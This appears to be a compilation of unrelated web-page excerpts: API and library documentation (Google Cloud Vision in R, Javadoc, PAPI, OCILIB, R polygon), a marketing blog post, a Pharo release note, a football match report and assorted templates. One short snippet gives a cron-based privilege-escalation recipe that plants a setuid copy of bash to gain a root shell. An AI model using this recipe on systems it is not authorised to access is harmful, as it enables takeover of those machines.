gcv_get_image_annotations(
imagePaths = imagePath,
feature = "LABEL_DETECTION",
maxNumResults = 7
)
#> image_path mid description score topicality
#> 1: golden_retriever_puppies.jpg /m/0bt9lr Dog 0.9953705 0.9953705
#> 2: golden_retriever_puppies.jpg /m/04rky Mammal 0.9890478 0.9890478
#> 3: golden_retriever_puppies.jpg /m/09686 Vertebrate 0.9851104 0.9851104
#> 4: golden_retriever_puppies.jpg /m/01z5f Canidae 0.9813780 0.9813780
#> 5: golden_retriever_puppies.jpg /m/0kpmf Dog breed 0.9683250 0.9683250
#> 6: golden_retriever_puppies.jpg /m/0d7s3w Puppy 0.9400384 0.9400384
#> 7: golden_retriever_puppies.jpg /m/01t032 Golden retriever 0.8966703 0.8966703
Annotation can also happen in batches, allowing for continuing previously stopped (or interrupted) annotations as well.
gcv_get_image_annotations(
imagePaths = c(image_path_1, image_path_2,..., image_path_128),
batchSize = 64L,
savePath = "path/to/annotation_file.csv"
)
Here we take 128 images and annotate them in batces of size 64. If, for example, we have previously annotated the first batch of images whose results have been stored in savePath
, then only the leftovers are annotated. A dataframe with all annotations is returned and the new set of annotations gets appended to savePath
.
Images can not only be read from local disk, but you can use URLs or Google Cloud Storage URIs as well:
gcv_get_image_annotations(c(
"https://bit.ly/2IhUzdE",
"gs://vision-api-handwriting-ocr-bucket/handwriting_image.png"
), maxNumResults = 2)
#> image_path mid description score topicality
#> 1: https://bit.ly/2IhUzdE /m/0bt9lr Dog 0.9953705 0.9953705
#> 2: https://bit.ly/2IhUzdE /m/04rky Mammal 0.9890478 0.9890478
#> 3: gs://vision-api-handwriting-ocr-bucket/handwriting_image.png /m/07s6nbt Text 0.9540842 0.9540842
#> 4: gs://vision-api-handwriting-ocr-bucket/handwriting_image.png /m/03scnj Line 0.9027576 0.9027576


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object domosaics.model.arrangement.DomainSet
public class DomainSet
Class DomainSet represents a non redundant list of domains, therefore each domain occurs maximal one time. This can be useful, for instance to compute domainwise events within a phylogenetic tree or just to compute the Jaccard-Index between two arrangements.
| Constructor Summary | |
|---|---|
DomainSet()
|
| Method Summary | |
|---|---|
void |
add(Domain dom)
Adds a domain to the set. |
void |
add(DomainArrangement da)
Adds all domains from an arrangement to the set (non redundant). |
void |
add(DomainSet domSet)
Adds all domains from a domain set to the set. |
void |
add(java.util.List<Domain> domList)
Adds all domains from a domain list to the set. |
boolean |
contains(Domain dom)
Checks if a specific domain occurs within the dataset. |
boolean |
equals(DomainSet set)
Compares two sets on equality. |
DomainSet |
except(DomainSet domSet)
Returns the Exception between two sets. |
Domain |
get(int index)
Returns the domain at a specified position within the set. |
java.util.List<Domain> |
getDomList()
Returns the domain set as a List object. |
DomainSet |
intersect(DomainSet domSet)
Returns a DomainSet which is the intersection of two sets. |
void |
remove(Domain dom)
Removes a domain from the set. |
void |
reset(DomainArrangement da)
Resets a domain set to a new set based on an arrangement. |
int |
size()
Returns the size of the domain set. |
DomainSet |
union(DomainSet domSet)
The union between two sets. |
| Methods inherited from class java.lang.Object |
|---|
equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public DomainSet()
| Method Detail |
|---|
public void reset(DomainArrangement da)
da
- The arrangement which is used for the initializationpublic int size()
public boolean equals(DomainSet set)
set
- The compared set.
public boolean contains(Domain dom)
dom
- The domain to check for occurrence.
public Domain get(int index)
index
- the position within the set
public java.util.List<Domain> getDomList()
public void remove(Domain dom)
dom
- The domain which has to be removed.public void add(Domain dom)
dom
- the domain which should be added.public void add(DomainArrangement da)
da
- The arrangement used to fill the set.public void add(DomainSet domSet)
domSet
- the set to be addedpublic void add(java.util.List<Domain> domList)
domList
- List of domains which should be added to the setpublic DomainSet intersect(DomainSet domSet)
domSet
- the set for the intersection
public DomainSet except(DomainSet domSet)
domSet
- the set for the exception operation
public DomainSet union(DomainSet domSet)
domSet
- the set for the union operation
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


|
NAME
PAPI_get_executable_info - get the executables address space info
CONTENTS
Synopsis
Description
Arguments
Return Values
Errors
Example
Data Structures
Bugs
See Also
SYNOPSIS
C Interface
#include <papi.h>
const PAPI_exe_info_t *PAPI_get_executable_info(void);
Fortran Interface
#include fpapi.h
PAPIF_get_exe_info(C_STRING fullname, C_STRING name,
C_LONG_LONG text_start, C_LONG_LONG text_end,
C_LONG_LONG data_start, C_LONG_LONG data_end,
C_LONG_LONG bss_start, C_LONG_LONG bss_end, C_INT check)
DESCRIPTION
In C, this function returns a pointer to a structure containing information about
the current program. In Fortran, the fields of the structure are returned explicitly.
ARGUMENTS
The following arguments are implicit in the structure returned by the C function,
or explicitly returned by Fortran.
fullname -- fully qualified path + filename of the executable
name -- filename of the executable with no path information
text_start, text_end -- Start and End addresses of program text segment
data_start, data_end -- Start and End addresses of program data segment
bss_start, bss_end -- Start and End addresses of program bss segment
RETURN VALUES
On success, the C function returns a non-NULL pointer,
and the Fortran function returns
PAPI_OK.
On error, NULL is returned by the C function,
and a non-zero error code is returned by the Fortran function.
ERRORS
|
PAPI_EINVAL | | |
One or more of the arguments is invalid.
|
|
EXAMPLE
const PAPI_exe_info_t *prginfo = NULL;
if ((prginfo = PAPI_get_executable_info()) == NULL)
exit(1);
printf("Path+Program: %s0,exeinfo->fullname);
printf("Program: %s0,exeinfo->address_info.name);
printf("Text start: %p, Text end: %p0,exeinfo->address_info.text_start,exeinfo->address_info.text_end);
printf("Data start: %p, Data end: %p0,exeinfo->address_info.data_start,exeinfo->address_info.data_end);
printf("Bss start: %p, Bss end: %p0,exeinfo->address_info.bss_start,exeinfo->address_info.bss_end);
DATA STRUCTURES
typedef struct _papi_address_map {
char name[PAPI_HUGE_STR_LEN];
caddr_t text_start; /* Start address of program text segment */
caddr_t text_end; /* End address of program text segment */
caddr_t data_start; /* Start address of program data segment */
caddr_t data_end; /* End address of program data segment */
caddr_t bss_start; /* Start address of program bss segment */
caddr_t bss_end; /* End address of program bss segment */
} PAPI_address_map_t;
typedef struct _papi_program_info {
char fullname[PAPI_HUGE_STR_LEN]; /* path+name */
PAPI_address_map_t address_info;
} PAPI_exe_info_t;
BUGS
Only the
text_start and
text_end fields are filled on every architecture.
SEE ALSO
PAPI_get_hardware_info (3),
PAPI_get_opt (3)
| PAPI Programmers Reference | PAPI_get_executable_info (3) | September, 2004 |
|
|


Amir Ghaffari Heravi
Freelance Web Developer
I am Amir.
I'm a full-stack web developer, currently I'm a postgraduate student in mechatronic
engineering.
My favorite programming and development tools are:
Laravel, Python, Vue.js, SASS, R, QT, Ruby
I love learning new things, listening to music and reading books :).


Reflectionfall is a platformer created by Glynn Taylor, where players can shoot up to 3 bouncy lasers.  The game is controller only at the moment. It is inspired by Towerfall's laser arrows and was created for the WGD 2 week "reflection" compo.
Players start with 3 bouncy laser arrows and gain an arrow only when they collide with their own arrow, making it a tactical decision whether or not to fire, seeing as once out of arrows the player must then retrieve them. The game is played in a last man standing style and supports up to 4 players.
My first game programmed in Haxe using the HaxeFlixel framework; music and art by OpenGameArt contributors, Vicky Hedgecock (HaxeFlixel tutorial player sprite), Patrick Crecilius (Haxe flixel tutorial BG music).
WARNING: Requires Xbox360/logitech controllers to play (2 or more people).


--- layout: post esbma_id: 1196 title: Law #14: The Law of Attributes date: 2004-06-18 14:52:58 keywords: law ---
(This entry is part of aseries I am writing on The 22 Immutable Laws of Marketing.)
The Law of Attributes says that "for every attribute, there is an opposite, effective attribute."
Fussy
There was quite an uproar from fans after the recent season finale for Star Trek Enterprise. You see, the episode contained a serious error. One of the characters states that the year is 2152 when in fact, as every Trek fan knows, the current episodes take place in the year 2154.
I've heard several people say that this mistake ruined the whole episode.
I concede the mistake is silly, but come'on -- the whole episode? Perhaps we need a bit of perspective. That date wasn't a central point of the show. It's a detail, and aside from the fact that it was incorrect, it doesn't matter.
Incidentally, guys, this is the reason why your girlfriend or wife doesn't like going to see movies with you. Nobody wants to watch a film with some anal-retentive dork who is ready and waiting to discard the entire film because the producers made a minor mistake in science or technology.  (This tidbit of relationship advice is provided at no extra charge. :-) )
Marketing Books
Geeks like us are lousy at marketing for the same reason that nobody wants to see movies with us. Marketing books are written for big-picture thinkers. They contain broad sweeping generalizations which are only true most of the time. Guys like Ries and Trout don't feel the need for a lot of precision.
So a geek sits down to read this book. Somehow he manages to cope with the word "immutable" in the title, which is obviously a gross exaggeration. Somehow he manages to smile at the examples, which are now ten years out of date, especially the one about Lotus Notes. Somehow he manages to overlook most of the little imprecisions in the first 13 chapters.
And then, he reaches chapter 14, the Law of Attributes. The subtitle of this chapter is "For every attribute, there is an opposite, effective attribute." In the mind of this geek, a yellow alert goes off when he sees the word "every". Is this really true? Is there always an attribute which is both opposite and effective? Surely not. Warily, he proceeds.
And then, on the very next page, the authors discuss the market for toothpaste, where Crest owns the attribute called "cavity prevention". Something in the mind of our geek snaps. 'How can there be an attribute which is the opposite of "cavity prevention" and which is effective? Ha! I knew it all along. This book is a crock!'
The book sails across the room in a high arc as the geek stomps off in disgust, no doubt on his way to sign the online petition to have Enterprise canceled because T'Pol couldn't remember what year it is.
Choices
I can't defend the book. This stuff bugs me too. I want marketing to be as logical and precise as programming. But it's not.
So if this problem really bother you, then you have two choices:
1. Give up on marketing completely.
2. Give up on this chapter and hope the next one is better.
I encourage you to choose option #2. I'm trying to make the world a better place here. The gap between technology people and marketing people must be bridged. If you give up on getting clueful about marketing, then you are implicitly saying that you expect marketing people to get clueful about technology. We both know that's not going to happen, so stay with me.
Oh, and by the way...
Read the chapter. It's a bit redundant with respect to chapters 9 and 13, but the discussion of Burger King and McDonalds is interesting.


KK
CMS Admin Portofolio
Profile
Log Out
×
User Profile
Id User
User Name
Name
*
Email
*
Address
Phone
Update Profile
Ganti Password
Old Password
*
New Password
*
Confirm New Password
*
Update Password


{% extends "parleys_creek_management/workflow_base.html" %} {% load tethys_gizmos %} {% block app_content %}
{% endblock %} {% block help_content %}Dell Creek and Lambs Creek are inflows to the Little Dell and Mountain Dell reservoirs, respectively. Use this page to adjust monthly streamflow rates to test and evaluate possible changes in hydro-climatic conditions in the system.
Define your own estimation of future changes on streamflow based on possible climate variability or streamflow regulations. Select multipliers for each month. These multipliers are applied to the historical average inflow for that month.
{% endblock %} {% block app_actions %} {% gizmo "button_group" next_btn %} {% gizmo "button_group" back_btn %} {% gizmo "button_group" cancel_btn %} {% endblock %}


The general sibling combinator targets any sibling that follows an element. For example, this selector targets all p elements that follow an h2 with a class of important, allowing you to apply a text color of red to all paragraphs under that particular heading.
h2.important ~ p { color: red; }
This text is very important.
This text is also very important.


1. Compile a payload file (optional)
2. Place it in the identified path
3. Wait for crontab to run the task
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /path/to/file
chmod +x /path/to/file
/tmp/bash -p


"BETHABARA "house of the ford, a place on the east bank of the Jordan, where John was baptizing (John 1:28). It may be identical with Bethbarah, the ancient ford of Jordan of which the men of Ephraim took possession(Judges 7:24). The Revised Version reads “Bethany beyond Jordan.” It was the great ford, and still bears the name of “the ford,” Makhadhet‘Abarah, “the ford of crossing over,” about 25 miles from Nazareth. (See BETHBARAH.)
"BETHABARA "house of the ford, a place on the east bank of the Jordan, where John was baptizing (John 1:28). It may be identical with Bethbarah, the ancient ford of Jordan of which the men of Ephraim took possession(Judges 7:24). The Revised Version reads “Bethany beyond Jordan.” It was the great ford, and still bears the name of “the ford,” Makhadhet‘Abarah, “the ford of crossing over,” about 25 miles from Nazareth. (See BETHBARAH.)


[§658J-24] Appeal. (a) An appeal may be taken under this chapter from:
(1) An order denying a motion to compel arbitration;
(2) An order granting a motion to stay arbitration;
(3) An order confirming or denying confirmation of an award;
(4) An order correcting an award;
(5) An order vacating an award without directing a rehearing; or
(6) A final judgment.
(b) An appeal under this section may be taken as from an order or a judgment in a civil action. [L 2017, c 113, pt of §1]


---
layout: post
title: Pharo 2.0 Released
categories:
- Pharo
tags:
- Fuel
- Object oriented
- OOP
- Pharo
- Release
- software-development
status: publish
type: post
published: true
meta:
_publicize_pending: '1'
_wpas_done_1260340: '1'
_wpas_mess: ! '#Pharo 2.0 Released! http://wp.me/p2tOYl-2g @Pharoproject'
publicize_twitter_user: GuillePolito
_wpas_done_1260342: '1'
_publicize_done_external: a:1:{s:7:"twitter";a:1:{i:93753233;b:1;}}
_wpas_skip_1260342: '1'
_wpas_skip_1260340: '1'
_elasticsearch_indexed_on: '2013-03-18 10:24:42'
---
Aaaand, a new version of the Pharo project cames out. It ressembles the version 2.0 of this dynamically typed object-oriented programming language and environment. This release includes many cool stuff improving a lot the infrastructure of the system, adding new core libraries and lots of cleansing and improvements. Let's make some remarks on this release.
Cool Development Tools, all by default
Pharo's default browser is now Nautilus by Benjamin Van Ryseghem. Nautilus has lots of cool features, like an alternative Group view, a plugin architecture, and integration with Monticello, refactorings and the Critics browser. Yes! Now by default Pharo includes refactorings, since they are one of the cornerstones of the development activities. Critics browser is also included, so the code quality can only improve :).
Auto completion has also seen lots of changes: default completion is <enter>, press <tab> to complete word per word á la command line, and it has also been revisited to provide better and more meaningful results.
Finally, if you press <shift+enter> you'll see on the right upper corner the Spotlight by Esteban Lorenzano. A simple but powerful way tool to quickly browse a class or method.
Boosted by NativeBoost and Fuel
Pharo wants to be fast. And that's something NativeBoost and Fuel achieve. That's why you can find them included by default in the system. NativeBoost (by Igor Stasenko) gives us the ability to execute machine code from the language side, and a new generation FFI with callbacks. Use it with caution :). Fuel, written by Mariano Martinez Peck and Martin Dias, is a cool object serializer focusing on fast deserialization (materialization), and the ability to serialize any kind of objects: Block closures? yes. Contexts? yes. Complete debuggers so we can restore them and debug failures in other environments? YES.
UI Front - Spec and Keymappings
Pharo 2.0 includes two new cool libraries on the UI front: Spec and Keymappings.
Spec is a framework, mainly work of Benjamin Van Ryseghem under the tutelage of Stéphane Ducasse, to build UI components declaratively. It puts its main focus on component reuse and ability to be composed. Spec was included into Pharo 2.0 and some tools were reimplemented to use it. How do you give it a try?
On the other side, Keymappings is a shortcut library mostly re-written by me (Guille Polito) to adapt it to Pharo. It's main objective is to provide common shortcut semantics for desktop UIs, and remove hardcoded semantics spread all over the system. Pharo 2.0 includes Keymappings and has already replaced some users of the old-fashioned(harwiredandmessy cof cof) shortcut declaration by nice keymapping ones. On the documentation side, I owe it to you :). I promise to a nice tutorial-post this week!
System changes - System Announcements, RPackage, FileSystem, branded VM
On the internals of the system, the notification of system events was replaced by System Announcements, RPackage was introduced so the old and ugly packaging system can be slowly migrated, and the old FileDirectory was tackled down and all its usages were replaced by the new cool FileSystem library (already there in 1.4).
Also, the Pharo VM is now branded, and includes many fixes and bundled libraries (nativeBoost and SSL plugins, cairo, freetype).
And of course there are lots of other clean and cool new stuff to see like SSL, command line tools, non UI blocking notifications... A more detailed list is here. So take Pharo, have a look, enjoy, and give feedback. Remember that any contribution is valuable, as small as it looks.
Download Pharo
Pharo website
Joining and helping
Pharo By Example book (available as a free PDF)
Screencasts!
Reporting problems
Pharo vision document
Chaus, Guille


How to (gracefully) jump start data science initiatives at a start-up
Slides for IDEAS data science talk PPTX
Slides for IDEAS data science talk ODP
Slides for IDEAS data science talk PDF
About the Talk
While machine learning and artificial intelligence can deliver a ton of value to businesses, there are still many businesses today struggling to get started with data science initiatives. Do you buy data or collect data? What type of talent to hire to get started on the first project? What kind of data tool chain, data infrastructure and data lake make most sense to set up in the beginning? These questions can be challenging, especially for companies that are still in early stages. Missteps could cost companies missed opportunities, wasted time and even the company itself! The talk discusses various best practices on the management, planning and execution of data science projects in a resource-constrained start-up environment. It will also cover common pitfalls and gotchas to watch out for. The presentation will benefit the following audience: new data science managers, start-up founders, data scientist looking to become managers and C-level executives.


@import components._ @* * This template takes a single argument, a String containing a * message to display. *@ @(product: Product, potentialDiscountedPrice: Double, user: Optional[User], rating: Int, session: play.mvc.Http.Session, verification: String, token: String, userId: String, sessionToken: String, trackingId: String, couponCode: String, mail: String) @* * Call the `main` template with two arguments. The first * argument is a `String` with the title of the page, the second * argument is an `Html` object containing the body of the page. test *@ @main("ReStart") {


Fake Solider
with MUSAT
Trailer
EPISODE 1
EPISODE 2
EPISODE 3
EPISODE 4
EPISODE 5
EPISODE 6
EPISODE 7


NomadClient
Client gem for interacting with Hashicorp's Nomad HTTP API.
Installation
Add this line to your application's Gemfile:
gem 'nomad_client'
And then execute:
$ bundle
Or install it yourself as:
$ gem install nomad_client
Usage
Initialisation
For a default client
nomad_client = NomadClient::Connection.new('https://nomad.local')
Or to override default configuration
nomad_client = NomadClient::Connection.new('https://nomad.local') do |config|
config.port = 4647
config.api_base_path = '/v2'
end
Querying endpoints
job = nomad_client.job.get('my-job-id') # returns a Faraday::Response
if job.success?
job.body # A Hashie::Mash of the JSON payload returning from the job/my-job-id API endpoint
else
# handling of errors here
end
Development
Contributing
Bug reports and pull requests are welcome on GitHub at github.com/xyzjace/nomad_client.


Toggle navigation
Menu
Benton County 2040 data
Home
Publications
Background Briefs
Contacts
Contacts
Have questions? I have answers (maybe).
This application is greatly inspired by Chris Whong's
crossfilter-geo-input application
.
Count by Magnitude
Count by Depth(m)
Count by Day


 It's the most exciting city in the world now. That's the way it is. That's it. Robert De Niro
The Big Apple, Gotham, The City That Never Sleeps, The Empire City, it goes by many names, but it could only be one place. Welcome to New York City.


Signage designs for a University Art Hub. The Art Hub is a space for creatives to relax or work on their projects.
Top photo is an exterior design for the outside of a door. Graphics are arranged to depict the different activities that students may utilize the room for.
Bottom photo is an interior design for a poster to show students the rules of utilizing the art hub. The creative approach was to characterize the objects in the graphics by giving them facial attributes. In addition, solid shapes and lines in various shades or tints of the same color palette are used to unite the interior and exterior spaces while keeping the signages visible from far distances.


|
OCILIB (C and C++ Driver for Oracle)
4.5.1
|
Object identifying the SQL data type REF. More...
#include <ocilib.hpp>
Inherits ocilib::HandleHolder< OCI_Ref *>, and ocilib::Streamable.
Public Member Functions | |
| Reference () | |
| Create an empty null Reference instance. | |
| Reference (const TypeInfo &typeInfo) | |
| Parametrized constructor. More... | |
| TypeInfo | GetTypeInfo () const |
| Return the TypeInfo object describing the referenced object. | |
| Object | GetObject () const |
| Returns the object pointed by the reference. More... | |
| bool | IsReferenceNull () const |
| Check if the reference points to an object or not. | |
| void | SetReferenceNull () |
| Nullify the given Ref handle. More... | |
| Reference | Clone () const |
| Clone the current instance to a new one performing deep copy. | |
| ostring | ToString () const override |
| return a string representation of the current reference | |
Object identifying the SQL data type REF.
This class wraps the OCILIB object handle OCI_Ref and its related methods
Definition at line 4898 of file ocilib.hpp.
|
inline |
Parametrized constructor.
| typeInfo | - type info descriptor |
Definition at line 3723 of file ocilib_impl.hpp.
References ocilib::Check(), ocilib::TypeInfo::GetConnection(), OCI_RefCreate(), OCI_RefFree(), and Reference().
|
inline |
Returns the object pointed by the reference.
Definition at line 3739 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_RefGetObject().
|
inline |
Nullify the given Ref handle.
Definition at line 3758 of file ocilib_impl.hpp.
References ocilib::Check(), and OCI_RefSetNull().


| polygon {graphics} | R Documentation |
polygon
draws the polygons whose vertices are
given in x
and y
.
polygon(x, y = NULL, density = NULL, angle = 45, border = NULL, col = NA, lty = par("lty"), ..., fillOddEven = FALSE)
x, y |
vectors containing the coordinates of the vertices of the polygon. |
density |
the density of shading lines, in lines per inch. The
default value of |
angle |
the slope of shading lines, given as an angle in degrees (counter-clockwise). |
col |
the color for filling the polygon. The default,
|
border |
the color to draw the border. The default, For compatibility with S, |
lty |
the line type to be used, as in |
... |
graphical parameters such as |
fillOddEven |
logical controlling the polygon shading mode: see
below for details. Default |
The coordinates can be passed in a plotting structure
(a list with x
and y
components), a two-column matrix,
.... See xy.coords
.
It is assumed that the polygon is to be closed by joining the last point to the first point.
The coordinates can contain missing values. The behaviour is similar
to that of lines
, except that instead of breaking a line
into several lines, NA
values break the polygon into several
complete polygons (including closing the last point to the first
point). See the examples below.
When multiple polygons are produced, the values of density
,
angle
, col
, border
, and lty
are recycled
in the usual manner.
Shading of polygons is only implemented for linear plots: if either axis is on log scale then shading is omitted, with a warning.
Self-intersecting polygons may be filled using either the
“odd-even” or “non-zero” rule. These fill a region if
the polygon border encircles it an odd or non-zero number of times,
respectively. Shading lines are handled internally by R according
to the fillOddEven
argument, but device-based solid fills
depend on the graphics device. The windows
, pdf
and postscript
devices have their own fillOddEven
argument to control this.
The code implementing polygon shading was donated by Kevin Buhr<EMAIL_ADDRESS>Becker, R. A., Chambers, J. M. and Wilks, A. R. (1988) The New S Language. Wadsworth & Brooks/Cole.
Murrell, P. (2005) R Graphics. Chapman & Hall/CRC Press.
segments
for even more flexibility, lines
,
rect
, box
, abline
.
par
for how to specify colors.
x <- c(1:9, 8:1) y <- c(1, 2*(5:3), 2, -1, 17, 9, 8, 2:9) op <- par(mfcol = c(3, 1)) for(xpd in c(FALSE, TRUE, NA)) { plot(1:10, main = paste("xpd =", xpd)) box("figure", col = "pink", lwd = 3) polygon(x, y, xpd = xpd, col = "orange", lty = 2, lwd = 2, border = "red") } par(op) n <- 100 xx <- c(0:n, n:0) yy <- c(c(0, cumsum(stats::rnorm(n))), rev(c(0, cumsum(stats::rnorm(n))))) plot (xx, yy, type = "n", xlab = "Time", ylab = "Distance") polygon(xx, yy, col = "gray", border = "red") title("Distance Between Brownian Motions") # Multiple polygons from NA values # and recycling of col, border, and lty op <- par(mfrow = c(2, 1)) plot(c(1, 9), 1:2, type = "n") polygon(1:9, c(2,1,2,1,1,2,1,2,1), col = c("red", "blue"), border = c("green", "yellow"), lwd = 3, lty = c("dashed", "solid")) plot(c(1, 9), 1:2, type = "n") polygon(1:9, c(2,1,2,1,NA,2,1,2,1), col = c("red", "blue"), border = c("green", "yellow"), lwd = 3, lty = c("dashed", "solid")) par(op) # Line-shaded polygons plot(c(1, 9), 1:2, type = "n") polygon(1:9, c(2,1,2,1,NA,2,1,2,1), density = c(10, 20), angle = c(-45, 45))


Raheem Sterling puts Joe Gomez incident behind him to return to starring role for England
The Manchester City man has served his punishment for 'canteen-gate' but returned with two assists and a performance that showed he won't be affected by the altercation
by Irishmirror.ieIt was a night when a few England players did not come up to scratch.
Raheem Sterling was not one of them.
It might be a little while before the mark on the face of Joe Gomez fades to nothing but time has quickly healed any scars self-inflicted by Sterling.
While Gomez was back home, resting the knee injury that will probably not keep him off the Melwood training field this week and, as Gareth Southgate suggested, ‘clearing his head’, Sterling was strutting as though canteen-gate had never happened.
Which is exactly what Southgate, Harry Kane and the rest of the England leadership group - which includes Sterling - had demanded.
For Sterling, the national anthem was sung with a little more gusto, the commitment just a little higher than some of his team-mates on as treacherous surface.
There were no goals - a very decent first half save from Arijanet Muric saw to that - but there was one deflected assist for Kane’s strike and another more accomplished one for Marcus Rashford’s hit.
This was Sterling wanting to show just how much he values his time in an England jersey.
Let’s get one thing straight. As the player himself has stressed, his one-game ‘suspension’ - whether you agree with Southgate’s action or not - was a punishment brought about by Sterling’s own actions.
The absent Gomez was the victim, the absent Jordan Henderson the peace broker, the present Sterling the villain.
There are those, including myself, who believe Southgate could have handled it differently.
But as accounts of the incident at St George’s Park last Monday continue to leak out, it is now patently clear there was only one aggressor.
According to the mantra spun by manager and players, it is over and done with now. Forgotten.
Whether that turns out to be the case in the mind of Gomez - especially when you factor in the Wembley jeers - remains to be seen.
But it will be gone from Sterling’s mind. He has rock-solid form for moving on from controversy pretty well.
And as brutally practical as it sounds, he is more fundamental to England’s fortunes than Gomez.

His individual performance here was no more memorable than a team performance seriously flattered by the late Kosovan capitulation.
But over on the opposite side of the pitch, Callum Hudson-Odoi should have been taking note.
Sterling never stops showing for the ball, is never afraid to take it under pressure, is always varying his runs, is always looking for a combination with the central figure of Kane.
He puts in the defensive work, closes down quickly, puts in the hard yards.
Right now, Southgate perms three from four for his preferred attacking trio.
Well, actually, he selects either Jadon Sancho or Rashford to make up the three alongside Kane and Sterling.
And on this evidence, it is not going to be three from five any time soon.
Hudson-Odoi, that man trying to widen Southgate’s options even further, said ahead of the match how Sterling was an idol and how he wanted to learn from him.
That is a good idea and this was a stage in that process.
And hopefully, Hudson-Odoi watched from the bench as Sterling switched to the middle, surged forward and rolled a pass to Rashford that was converted without a break of the stride.
A sweet assist and a sweet finish.
And an evening when the scoreline was more emphatic than the performance ended with Mason Mount enjoying the sort of memorable scoring moment experienced by Harry Winks in the first half.
The England players congregated in a congratulatory huddle, Sterling at its centre.
And only Kane beat Sterling to the England fans when referee Pawel Gil called a halt to proceedings.
Sterling applauded, the fans applauded. Not a jeer to be heard.
It was as though nothing had happened.
Sterling service, back to normal.


{% include head-github.html %}
{% include svg-icons.html %} {% include header-github.html %}
{{ content }}
Back to homepage


Home
Game
FAQs
Contact
Logout
Username
Email
Password
Insert
Delete
Delete
Delete
Delete
Delete
Delete
Delete
About Us
About Us
Travel
Contact Us
On this list you'll find the best PC games we're playing right now—recent singleplayer hits,
thriving esports, and a few modern classics that would improve any library.
advertise
Lifestyle
careers
Sports
Subscribes
Nature


Javascript GAP solver
Load from site
elba.json
gap8_0.json
gap12_0.json
gapa_0.json
gapd_0.json
gapd_3.json
e20200.json
Load remote
yagiura\gapa\gapa_0.json
Load local file
Solve constructive
Lagrangian matheuristics
Lagrangian, capacities relaxed
Lagrangian, assignments relaxed
Lagrangian parameters
Iterations
Alpha
min alpha:


RT @kerrizor: “Talk to the person who wrote the code originally, perhaps there is a reason why they did it that way.” http://www.fraustollc.com/blog/shit_code/
9/20/2013, 6:27:25 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @kerrizor: “Talk to the person who wrote the code originally, perhaps there is a reason why they did it that way.” http://www.fraustollc.com/blog/shit_code/
9/20/2013, 6:27:25 AM
Favs: 0
Retweets: 0
link


Transaction Management strategies
In Java we have three transaction models
- Local transactions manage DB connections/ JMS sessions
- Programmatic transactions manage transactions - think JTA
- Declarative transactions manage transactions - think JTA
Whenever you work with Connection or Session you use Local
transactions == connection management, not transaction management


Basic call to the MusicBrainz API
Retrieve MBID and country for a given user-entered artist
Artist name?


The concordion:echo
tag evaluates an expression and inserts
the result into the output HTML.
If the expression "username" evaluates to "jbloggs" and we have the following instrumentation in our specification:
<p> Username: <span concordion:echo="username" /> </p>
Then we expect the following output:
<p> Username: <span concordion:echo="username">jbloggs</span> </p>


Pats Cookie Sales
Enter New Store
Store Location
Min Cookie Sales Per Hour
Max Cookie Sales Per Hour
Average Cookies Per sale
Create!


Background
Getting software released to users is often a painful, risky, and time-consuming process.
Through reliable, low-risk releases, Continuous Delivery makes it possible to continuously adapt software in line with user feedback, shifts in the market and changes to business strategy. Test, support, development and operations work together as one delivery team to automate and streamline the build, test and release process.
During the seminar we will first introduce the aspects of continuous delivery, including continuous testing, integration and deployment. Then we will present the continuous inspections tools with a set of approaches to continuously assess the product quality, with the goal of preserving the software maintainability while releasing new features.
The workshop is aimed at demonstrating and disseminating the power of DevOps in the cloud, for the purpose of increasing software maintainability and improve the development process quality.
During the seminar we will will provide to software practitioners information on how to start using DevOps and how the University of Bolzano can support them in the process of adopting DevOps.
Event Schedule
18 December, 2018
-
17.00
Introduction and greeting from the Dean of the Faculty
-
17.15
Microservices and Continuous Development in the Cloud - Architecture and Technology
Claus Pahl - Free University of BolzanoContinuous software development and the use of microservices in the cloud poses new challenges and opportunities. This talk discusses the link between architecture aspects and the underlying technology platforms that enable them.
-
17.45
Introduction to Microservices: advantages, disadvantages and migration patterns.
Davide Taibi - Technical University of Tampere, FinlandMicroservices have been getting more and more popular in recent years, and several companies are migrating monolithic applications to microservices. Many companies are still hesitant to migrate because they consider microservice as a hype or because they are not aware of the migration process and the benefits and issues related to migration. In this talk, I will introduce microservices and the main migration processes adopted by practitioners, together with the common motivations and issues that commonly take place during migrations.
-
21.15 - 22.00
Networking
21.00
Wrap-Up
Speakers
-
Claus Pahl.
Claus Pahl is a full professor of Software engineering at the Free University of Bozen-Bolzano. His research activities focus on software architecture, specifically cloud migration and the use of cloud-native architectures based on microservice technologies Formerly, he was a Principal Investigator and Architecture Lead of the Cloud Technology Centre IC4.
-
Davide Taibi.
Davide Taibi is a tenured Assistant Professor at the University of Tampere (Finland). His research activities are focused on software quality and cloud migration, supporting SMEs and micro-enterprises in migrating to cloud native architectures and reducing project failures due to project maintainability issues. Formerly, he worked at the Free University of Bozen-Bolzano, the Technical University of Kaiserslautern (Germany), Fraunhofer IESE – Kaiserslautern (Germany) and University of Insubria (Italy) where he has researched for more than 8 years.
Tickets
The registration to this workshop is free of charge, following the link below:
Organising Committee
Patrick Ohnewein
ICT & Automation Ecosystem Coordinator
IDM Südtirol - Innovation, Development and Marketing
Claus Pahl
Professor
Free University of Bozen-Bolzano


Sharing Places Information
The section describes how you can share placemarks, shapes, and folder data with other
people - including both users and non-users of Google Earth. You can share your places
data by:
Note - You can also share places information with other Google Earth
users via the Google Earth Comunity BBS website. For more information, see Sharing a Point of Interest.
Emailing an Image
At this time, emailing a Google Earth image on the Mac is available only through the
Mail, Entourage and Eudora applications. You can email the current view of the earth
shown in the Google Earth 3D viewer as:
- An image file for people who don't have Google Earth
- A KMZ file for other users of Google Earth
When you email an image, a JPEG file is automatically attached to an outbound email
message. When you email the view as a KMZ, a KMZ file is automatically attached to an
outbound email message. To email an image:
- Do one of the following:
- Click File > Email > Email Image.
- Type Ctrl+Alt+E (Windows and Linux only)
- Click on the email icon on the toolbar and choose Email Image.
- In the Select Email Service window, choose your default email program or
